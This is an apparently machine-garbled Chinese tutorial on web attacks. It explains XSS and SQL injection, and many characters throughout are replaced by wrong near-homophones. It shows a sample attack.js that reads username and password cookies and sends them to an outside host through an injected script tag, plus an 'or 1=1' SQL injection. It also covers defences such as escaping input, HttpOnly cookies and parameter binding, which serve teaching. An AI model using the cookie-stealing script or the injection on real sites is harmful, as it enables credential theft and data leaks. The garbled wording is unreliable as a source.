关于sql注入:一文搞懂│XSS攻击SQL注入CSRF攻击DDOS攻击DNS劫持
XSS 攻打全称跨站脚本攻打 Cross Site Scripting为了与重叠样式表 CSS 进行辨别,所以换了另一个缩写名称 XSSXSS攻击者通过篡改网页,注入歹意的 HTML 脚本,个别是 javascript,在用户浏览网页时,管制用户浏览器进行歹意操作的一种攻击方式XSS 攻打常常应用在论坛,博客等利用中。攻击者能够偷取用户Cookie、明码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息 就像上图,如果用户在评论框中输出的并不是失常的文本,而是一段 javascript 脚本,而后盾又没对该用户的数据进行解决,间接存入数据库,那么当其余用户过去拜访该页面,浏览器必然会执行这段脚本当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保留解决,这样你的信息就曾经泄露了// attack.js 中的逻辑var uname = $.cookie('username'); // 获取账号var pwd = $.cookie('password'); // 获取明码// 发送申请$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');在下面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行解决保留,这样你的个人信息就曾经泄露了,所以杜绝 xss攻打 在网络安全中十分的重要所以后端永远不要置信用户提交的数据,在接管用户提交的信息时候,要进行 消毒解决也就是过滤一些非凡的字符,比方 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能无效的进行 xss 攻打的预防另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无奈读取到cookie 信息,这样也能无效的避免 XSS 攻打窃取 cookie 内容 SQL 注入SQL注入 攻打指的是攻击者在 HTTP 申请中注入歹意 SQL 命令,服务器用申请参数结构数据库 SQL 命令时,歹意 SQL 被一起结构,并在数据库中执行,以便失去数据库中的感兴趣的数据或对数据库进行读取、批改、删除、插入等敏感的操作,从而导致数据被随便篡改然而 SQL注入 攻打,须要攻击者对数据库表有所理解才行,比方你的我的项目 开源 了,不小心公开了数据库的账号和明码;另外你的网站上线没有 敞开调试模式,有心者能够网站的依据谬误回显能够猜想表构造;另外还有就是 盲注,也即是很多有心者会盲猜数据表构造,然而这种难度最大SQL注入 能够通过预编译伎俩进行预防,绑定参数是最好的防 SQL 注入办法。当初风行的框架根本都实现了 SQL预编译和 参数绑定,歹意攻打的 SQL 会被当做 SQL 的参数,而不是 SQL 命令被执行# 失常获取用户信息的sqlselect * from users where id=1# sql注入了 1 or 1=1,就能够把用户表中的所有数据全副查出,导致数据泄露select * from users where id=1 or 1=1 ...